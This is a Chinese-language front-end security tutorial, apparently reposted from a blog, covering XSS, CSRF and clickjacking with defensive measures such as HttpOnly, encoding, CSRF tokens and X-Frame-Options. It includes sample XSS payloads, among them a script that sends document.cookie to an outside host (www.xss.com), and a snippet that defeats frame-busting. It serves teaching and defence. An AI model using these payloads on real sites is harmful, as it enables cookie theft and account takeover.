前端安全知识

原文链接 jkchao.cn/article/59d…

XSS

xss: 跨站脚本攻击（Cross Site Scripting）是最多见和基本的攻击 WEB 网站方法，攻击者经过注入非法的 html 标签或者 javascript 代码，从而当用户浏览该网页时，控制用户浏览器。

xss 主要分为三类：

• DOM xss :

  DOM即文本对象模型，DOM一般表明在html、xhtml和xml中的对象，使用DOM能够容许程序和脚本动态的访问和更新文档的内容、结构和样式。它不须要服务器解析响应的直接参与，触发XSS靠的是浏览器端的DOM解析，能够认为彻底是客户端的事情。

• 反射型 xss :

  反射型XSS也被称为非持久性XSS，是如今最容易出现的一种XSS漏洞。发出请求时，XSS代码出如今URL中，最后输入提交到服务器，服务器解析后在响应内容中出现这段XSS代码，最后浏览器解析执行。

• 存储型 xss :

  存储型XSS又被称为持久性XSS，它是最危险的一种跨站脚本，相比反射型XSS和DOM型XSS具备更高的隐蔽性，因此危害更大，由于它不须要用户手动触发。 容许用户存储数据的web程序均可能存在存储型XSS漏洞，当攻击者提交一段XSS代码后，被服务器端接收并存储，当全部浏览者访问某个页面时都会被XSS，其中最典型的例子就是留言板。

跨站脚本攻击可能形成如下影响：

• 利用虚假输入表单骗取用户我的信息。

• 利用脚本窃取用户的 Cookie 值，被害者在不知情的状况下，帮助攻击者发送恶意请求。

• 显示伪造的文章或图片。

存储型 xss 案例

在项目开发中，评论是个常见的功能，若是直接把评论的内容保存到数据库，那么显示的时候就可能被攻击。

• 若是你只是想试试 xss，能够这样：

  <font size="100" color="red">试试水</font>复制代码

  

• 若是带点恶意，能够这样：

  <script>
        while (true) {
            alert('Hello')
        }
    </script>复制代码

  这时，网站就挂了。

• 固然，最多见 xss 攻击是读取 Cookie：

  <script>
        alert(document.cookie)
    </script>复制代码

  

  Cookie 发送给攻击者的站点：

  var img = document.createElement('img')
    img.src='http://www.xss.com?cookie=' + document.cookie
    img.style.display='none'
    document.getElementsByTagName('body')[0].appendChild(img)复制代码

  当前用户的登陆凭证存储于服务器的 session 中，而在浏览器中是以 cookie 的形式存储的。若是攻击者能获取到用户登陆凭证的 Cookie，甚至能够绕开登陆流程，直接设置这个 Cookie 值，来访问用户的帐号。

防护

按理说，只要有输入数据的地方，就可能存在 XSS 危险。

• httpOnly: 在 cookie 中设置 HttpOnly 属性后，js脚本将没法读取到 cookie 信息。

  // koa
    ctx.cookies.set(name, value, {
        httpOnly: true // 默认为 true
    })
    `复制代码

• 过滤

  • 输入检查，通常是用于对于输入格式的检查，例如：邮箱，电话号码，用户名，密码……等，按照规定的格式输入。

    不只仅是前端负责，后端也要作相同的过滤检查。

    由于攻击者彻底能够绕过正常的输入流程，直接利用相关接口向服务器发送设置。

  • HtmlEncode
    某些状况下，不能对用户数据进行严格过滤，须要对标签进行转换

    

    当用户输入<script>window.location.href=”http://www.baidu.com”;</script>, 最终保存结果为 <script>window.location.href="http://www.baidu.com"</script>, 在展示时，浏览器会对这些字符转换成文本内容，而不是一段能够执行的代码。

  • JavaScriptEncode
    对下列字符加上反斜杠

    

    关于更多 HtmlEncode 和 JavaScriptEncode，请参考 www.cnblogs.com/lovesong/p/…

CSRF

csrf：跨站点请求伪造（Cross-Site Request Forgeries），也被称为 one-click attack 或者 session riding。冒充用户发起请求（在用户不知情的状况下）， 完成一些违背用户意愿的事情（如修改用户信息，删初评论等）。

可能会形成如下影响：

• 利用已经过认证的用户权限更新设定信息等；

• 利用已经过认证的用户权限购买商品；

• 利用已经过的用户权限在留言板上发表言论。

一张图了解原理：

简而言之：网站过度相信用户。

与 xss 区别

• 一般来讲 CSRF 是由 XSS 实现的，CSRF 时常也被称为 XSRF（CSRF 实现的方式还能够是直接经过命令行发起请求等）。

• 本质上讲，XSS 是代码注入问题，CSRF 是 HTTP 问题。XSS 是内容没有过滤致使浏览器将攻击者的输入当代码执行。CSRF 则是由于浏览器在发送 HTTP 请求时候自动带上 cookie，而通常网站的 session 都存在 cookie里面。

• 来自某乎的一个栗子：

  

案例

好比某网站的转帐操做

受害者张三给李四转帐100，

经过对银行的网站发起请求 bank.example/transfer?ac… ，

一般状况下，该请求发出后，服务器端会检查 session 是否合法，而且张三已经登陆成功，

黑客王五能够本身给银行发送一个请求 bank.example/transfer?ac… ，可是这个请求来自王五，而不是张三，他并不能经过安全认证。他须要张三的 session 。

王五本身作了一个网站，放入以下代码 bank.example/transfer?ac… ，
用各类方式诱使张三点击本身的网站。

张三登陆了银行的网站没有退出，访问了黑客王五的网站，上述的 url 就会向银行发起请求。

若是session没有过时，这时悲剧就发生了，张三的帐户里少了1000。

防护

• 验证码；强制用户必须与应用进行交互，才能完成最终请求。此种方式能很好的遏制 csrf，可是用户体验比较差。

• 尽可能使用 post ，限制 get 使用；上一个例子可见，get 太容易被拿来作 csrf 攻击，可是 post 也并非万无一失，攻击者只须要构造一个form就能够。

• Referer check；请求来源限制，此种方法成本最低，可是并不能保证 100% 有效，由于服务器并非何时都能取到 Referer，并且低版本的浏览器存在伪造 Referer 的风险。

• token；token 验证的 CSRF 防护机制是公认最合适的方案。

  总体思路以下：

  • 第一步：后端随机产生一个 token，把这个token 保存到 session 状态中；同时后端把这个token 交给前端页面；

  • 第二步：前端页面提交请求时，把 token 加入到请求数据或者头信息中，一块儿传给后端；

  • 后端验证前端传来的 token 与 session 是否一致，一致则合法，不然是非法请求。

    若网站同时存在 XSS 漏洞的时候，这个方法也是空谈。

Clickjacking

Clickjacking： 点击劫持，是指利用透明的按钮或链接作成陷阱，覆盖在 Web 页面之上。而后诱使用户在不知情的状况下，点击那个链接访问内容的一种攻击手段。这种行为又称为界面假装(UI Redressing) 。

大概有两种方式：

• 攻击者使用一个透明 iframe，覆盖在一个网页上，而后诱使用户在该页面上进行操做，此时用户将在不知情的状况下点击透明的 iframe 页面；

• 攻击者使用一张图片覆盖在网页，遮挡网页原有的位置含义。

案例

一张图了解

通常步骤

• 黑客建立一个网页利用 iframe 包含目标网站；

• 隐藏目标网站，使用户没法没法察觉到目标网站存在；

• 构造网页，诱变用户点击特色按钮

• 用户在不知情的状况下点击按钮，触发执行恶意网页的命令。

防护

• X-FRAME-OPTIONS；

  X-FRAME-OPTIONS HTTP 响应头是用来给浏览器指示容许一个页面能否在<frame>, <iframe> 或者 <object> 中展示的标记。网站可使用此功能，来确保本身网站内容没有被嵌到别人的网站中去，也从而避免点击劫持的攻击。

  有三个值：

  • DENY：表示页面不容许在 frame 中展现，即使是在相同域名的页面中嵌套也不容许。

  • SAMEORIGIN：表示该页面能够在相同域名页面的 frame 中展现。

  • ALLOW-FROM url：表示该页面能够在指定来源的 frame 中展现。

  配置 X-FRAME-OPTIONS：

  • Apache

    把下面这行添加到 'site' 的配置中：

    Header always append X-Frame-Options SAMEORIGIN复制代码

  • nginx

    把下面这行添加到 'http', 'server' 或者 'location'，配置中

    add_header X-Frame-Options SAMEORIGIN;复制代码

  • IIS

    添加下面配置到 Web.config 文件中

    <system.webServer>
    ...
    
    <httpProtocol>
      <customHeaders>
        <add name="X-Frame-Options" value="SAMEORIGIN" />
      </customHeaders>
    </httpProtocol>
    
    ...
    </system.webServer>复制代码

• js 判断顶层窗口跳转，可轻易破解，意义不大；

  function locationTop(){
    if (top.location != self.location) {
       top.location = self.location; return false;
    }
    return true; 
   }
  locationTop();复制代码

  // 破解：
  // 顶层窗口中放入代码
  var location = document.location;
  //或者
  var location = "";复制代码